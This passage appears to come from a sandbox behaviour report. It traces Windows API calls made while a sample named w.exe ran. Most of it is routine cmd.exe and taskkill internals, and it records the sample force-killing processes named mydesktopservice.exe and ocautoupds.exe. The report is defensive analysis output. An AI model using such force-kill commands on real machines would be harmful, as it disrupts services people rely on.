	[0038.740] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x4407f0) returned 0x66
	[0038.740] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a080640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0038.740] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0038.740] GetProcessHeap () returned 0x440000
	[0038.740] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x120) returned 0x440860
	[0038.740] GetProcessHeap () returned 0x440000
	[0038.740] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x238) returned 0x440988
	[0038.742] GetProcessHeap () returned 0x440000
	[0038.742] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x440988, Size=0x122) returned 0x440988
	[0038.742] GetProcessHeap () returned 0x440000
	[0038.742] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x440988) returned 0x122
	[0038.742] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a080640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0038.742] GetProcessHeap () returned 0x440000
	[0038.742] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xe0) returned 0x4534c8
	[0038.742] GetProcessHeap () returned 0x440000
	[0038.742] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4534c8, Size=0x76) returned 0x4534c8
	[0038.742] GetProcessHeap () returned 0x440000
	[0038.742] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x4534c8) returned 0x76
	[0038.742] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0038.742] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x39ed08, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ed08) returned 0xffffffff
	[0038.742] GetLastError () returned 0x2
	[0038.742] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x39ed08, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ed08) returned 0xffffffff
	[0038.743] GetLastError () returned 0x2
	[0038.743] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0038.743] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x39ed08, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ed08) returned 0x453548
	[0038.743] GetProcessHeap () returned 0x440000
	[0038.743] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x14) returned 0x453588
	[0038.743] FindClose (in: hFindFile=0x453548 | out: hFindFile=0x453548) returned 1
	[0038.743] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x39ed08, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ed08) returned 0xffffffff
	[0038.743] GetLastError () returned 0x2
	[0038.743] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x39ed08, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ed08) returned 0x453548
	[0038.743] GetProcessHeap () returned 0x440000
	[0038.743] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x453588, Size=0x4) returned 0x453588
	[0038.743] FindClose (in: hFindFile=0x453548 | out: hFindFile=0x453548) returned 1
	[0038.743] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0038.743] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0038.743] GetConsoleTitleW (in: lpConsoleTitle=0x39f200, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0038.743] InitializeProcThreadAttributeList (in: lpAttributeList=0x39f088, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x39f150 | out: lpAttributeList=0x39f088, lpSize=0x39f150) returned 1
	[0038.743] UpdateProcThreadAttribute (in: lpAttributeList=0x39f088, dwFlags=0x0, Attribute=0x60001, lpValue=0x39f148, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x39f088, lpPreviousValue=0x0) returned 1
	[0038.744] GetStartupInfoW (in: lpStartupInfo=0x39f044 | out: lpStartupInfo=0x39f044*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0)) 
	[0038.744] GetProcessHeap () returned 0x440000
	[0038.744] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x18) returned 0x453598
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0038.744] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0038.745] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0038.745] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0038.745] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0038.745] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0038.745] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0038.745] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0038.745] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0038.745] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0038.745] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0038.745] GetProcessHeap () returned 0x440000
	[0038.745] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x453598 | out: hHeap=0x440000) returned 1
	[0038.745] GetProcessHeap () returned 0x440000
	[0038.745] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xa) returned 0x44fef8
	[0038.745] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0038.746] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im mydesktopservice.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x39f0e4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im mydesktopservice.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x39f130 | out: lpCommandLine="taskkill  /f /im mydesktopservice.exe ", lpProcessInformation=0x39f130*(hProcess=0x78, hThread=0x74, dwProcessId=0x39c, dwThreadId=0x53c)) returned 1
	[0038.751] CloseHandle (hObject=0x74) returned 1
	[0038.751] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0038.752] GetProcessHeap () returned 0x440000
	[0038.752] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455ee8 | out: hHeap=0x440000) returned 1
	[0038.752] GetEnvironmentStringsW () returned 0x464a60*
	[0038.752] GetProcessHeap () returned 0x440000
	[0038.752] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb36) returned 0x4540a8
	[0038.752] FreeEnvironmentStringsW (penv=0x464a60) returned 1
	[0038.752] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0039.075] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x39f024 | out: lpExitCode=0x39f024*=0x80) returned 1
	[0039.076] CloseHandle (hObject=0x78) returned 1
	[0039.076] _vsnwprintf (in: _Buffer=0x39f16c, _BufferCount=0x13, _Format="%08X", _ArgList=0x39f030 | out: _Buffer="00000080") returned 8
	[0039.076] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0039.076] GetProcessHeap () returned 0x440000
	[0039.076] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4540a8 | out: hHeap=0x440000) returned 1
	[0039.076] GetEnvironmentStringsW () returned 0x4540a8*
	[0039.076] GetProcessHeap () returned 0x440000
	[0039.076] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb5c) returned 0x455ee8
	[0039.076] FreeEnvironmentStringsW (penv=0x4540a8) returned 1
	[0039.076] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0039.076] GetProcessHeap () returned 0x440000
	[0039.076] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455ee8 | out: hHeap=0x440000) returned 1
	[0039.076] GetEnvironmentStringsW () returned 0x4540a8*
	[0039.076] GetProcessHeap () returned 0x440000
	[0039.076] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb5c) returned 0x455ee8
	[0039.076] FreeEnvironmentStringsW (penv=0x4540a8) returned 1
	[0039.076] GetProcessHeap () returned 0x440000
	[0039.076] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x44fef8 | out: hHeap=0x440000) returned 1
	[0039.076] DeleteProcThreadAttributeList (in: lpAttributeList=0x39f088 | out: lpAttributeList=0x39f088) 
	[0039.076] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0039.076] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0039.076] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0039.076] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a0741ac | out: lpMode=0x4a0741ac) returned 0
	[0039.077] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0039.077] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a0741b0 | out: lpMode=0x4a0741b0) returned 0
	[0039.077] GetConsoleOutputCP () returned 0x1b5
	[0039.077] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a074260 | out: lpCPInfo=0x4a074260) returned 1
	[0039.077] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0039.077] exit (_Code=128) 

Process:
	id = "29"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4bab4000"
	os_pid = "0x39c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "28"
	os_parent_pid = "0x58c"
	cmd_line = "taskkill  /f /im mydesktopservice.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 173
	os_tid = 0x53c


Thread:
	id = 174
	os_tid = 0x5a4


Thread:
	id = 175
	os_tid = 0x248


Thread:
	id = 176
	os_tid = 0x688


Thread:
	id = 177
	os_tid = 0x7c0


Process:
	id = "30"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4bf23000"
	os_pid = "0x7fc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im ocautoupds.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 178
	os_tid = 0x6ac

	[0039.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x31fbb4 | out: lpSystemTimeAsFileTime=0x31fbb4*(dwLowDateTime=0xfd00f520, dwHighDateTime=0x1d52dc4)) 
	[0039.176] GetCurrentProcessId () returned 0x7fc
	[0039.176] GetCurrentThreadId () returned 0x6ac
	[0039.176] GetTickCount () returned 0x1a092
	[0039.176] QueryPerformanceCounter (in: lpPerformanceCount=0x31fbac | out: lpPerformanceCount=0x31fbac*=15948608174) returned 1
	[0039.177] GetModuleHandleA (lpModuleName=0x0) returned 0x4a410000
	[0039.177] __set_app_type (_Type=0x1) 
	[0039.177] __p__fmode () returned 0x74eb31f4
	[0039.177] __p__commode () returned 0x74eb31fc
	[0039.177] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4321a6) returned 0x0
	[0039.177] __getmainargs (in: _Argc=0x4a434238, _Argv=0x4a434240, _Env=0x4a43423c, _DoWildCard=0, _StartInfo=0x4a434140 | out: _Argc=0x4a434238, _Argv=0x4a434240, _Env=0x4a43423c) returned 0
	[0039.178] GetCurrentThreadId () returned 0x6ac
	[0039.178] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x6ac) returned 0x60
	[0039.178] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0039.178] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0039.178] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0039.178] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0039.178] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x31fb44 | out: phkResult=0x31fb44*=0x0) returned 0x2
	[0039.179] VirtualQuery (in: lpAddress=0x31fb7b, lpBuffer=0x31fb14, dwLength=0x1c | out: lpBuffer=0x31fb14*(BaseAddress=0x31f000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0039.179] VirtualQuery (in: lpAddress=0x220000, lpBuffer=0x31fb14, dwLength=0x1c | out: lpBuffer=0x31fb14*(BaseAddress=0x220000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0039.179] VirtualQuery (in: lpAddress=0x221000, lpBuffer=0x31fb14, dwLength=0x1c | out: lpBuffer=0x31fb14*(BaseAddress=0x221000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0039.179] VirtualQuery (in: lpAddress=0x223000, lpBuffer=0x31fb14, dwLength=0x1c | out: lpBuffer=0x31fb14*(BaseAddress=0x223000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0039.179] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x31fb14, dwLength=0x1c | out: lpBuffer=0x31fb14*(BaseAddress=0x320000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x150000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0039.179] GetConsoleOutputCP () returned 0x1b5
	[0039.179] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a434260 | out: lpCPInfo=0x4a434260) returned 1
	[0039.179] SetConsoleCtrlHandler (HandlerRoutine=0x4a42e72a, Add=1) returned 1
	[0039.179] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0039.179] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0039.179] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0039.179] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a4341ac | out: lpMode=0x4a4341ac) returned 0
	[0039.179] _get_osfhandle (_FileHandle=0) returned 0xac
	[0039.179] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a4341b0 | out: lpMode=0x4a4341b0) returned 0
	[0039.179] GetEnvironmentStringsW () returned 0x652010*
	[0039.180] GetProcessHeap () returned 0x640000
	[0039.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xaca) returned 0x652ae8
	[0039.180] FreeEnvironmentStringsW (penv=0x652010) returned 1
	[0039.180] GetProcessHeap () returned 0x640000
	[0039.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x4) returned 0x650c48
	[0039.180] GetEnvironmentStringsW () returned 0x652010*
	[0039.180] GetProcessHeap () returned 0x640000
	[0039.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xaca) returned 0x6535c0
	[0039.180] FreeEnvironmentStringsW (penv=0x652010) returned 1
	[0039.180] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x31eab4 | out: phkResult=0x31eab4*=0x68) returned 0x0
	[0039.180] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x0, lpData=0x31eac0*=0x0, lpcbData=0x31eab8*=0x1000) returned 0x2
	[0039.180] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x4, lpData=0x31eac0*=0x1, lpcbData=0x31eab8*=0x4) returned 0x0
	[0039.180] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x0, lpData=0x31eac0*=0x1, lpcbData=0x31eab8*=0x1000) returned 0x2
	[0039.180] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x4, lpData=0x31eac0*=0x0, lpcbData=0x31eab8*=0x4) returned 0x0
	[0039.180] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x4, lpData=0x31eac0*=0x40, lpcbData=0x31eab8*=0x4) returned 0x0
	[0039.181] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x4, lpData=0x31eac0*=0x40, lpcbData=0x31eab8*=0x4) returned 0x0
	[0039.181] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x0, lpData=0x31eac0*=0x40, lpcbData=0x31eab8*=0x1000) returned 0x2
	[0039.181] RegCloseKey (hKey=0x68) returned 0x0
	[0039.181] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x31eab4 | out: phkResult=0x31eab4*=0x68) returned 0x0
	[0039.181] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x0, lpData=0x31eac0*=0x40, lpcbData=0x31eab8*=0x1000) returned 0x2
	[0039.181] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x4, lpData=0x31eac0*=0x1, lpcbData=0x31eab8*=0x4) returned 0x0
	[0039.181] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x0, lpData=0x31eac0*=0x1, lpcbData=0x31eab8*=0x1000) returned 0x2
	[0039.181] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x4, lpData=0x31eac0*=0x0, lpcbData=0x31eab8*=0x4) returned 0x0
	[0039.181] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x4, lpData=0x31eac0*=0x9, lpcbData=0x31eab8*=0x4) returned 0x0
	[0039.181] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x4, lpData=0x31eac0*=0x9, lpcbData=0x31eab8*=0x4) returned 0x0
	[0039.181] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x31eabc, lpData=0x31eac0, lpcbData=0x31eab8*=0x1000 | out: lpType=0x31eabc*=0x0, lpData=0x31eac0*=0x9, lpcbData=0x31eab8*=0x1000) returned 0x2
	[0039.181] RegCloseKey (hKey=0x68) returned 0x0
	[0039.181] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302f
	[0039.181] srand (_Seed=0x5d16302f) 
	[0039.181] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im ocautoupds.exe \""
	[0039.181] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im ocautoupds.exe \""
	[0039.181] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a435260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0039.182] GetProcessHeap () returned 0x640000
	[0039.182] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x210) returned 0x652010
	[0039.182] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x652018, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0039.182] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0039.182] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0039.182] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0039.182] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0039.182] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0039.182] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0039.182] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0039.182] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0039.182] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0039.182] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0039.182] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0039.182] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0039.182] GetProcessHeap () returned 0x640000
	[0039.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x652ae8 | out: hHeap=0x640000) returned 1
	[0039.182] GetEnvironmentStringsW () returned 0x652228*
	[0039.182] GetProcessHeap () returned 0x640000
	[0039.182] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xae2) returned 0x654b88
	[0039.183] FreeEnvironmentStringsW (penv=0x652228) returned 1
	[0039.183] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0039.183] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0039.183] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
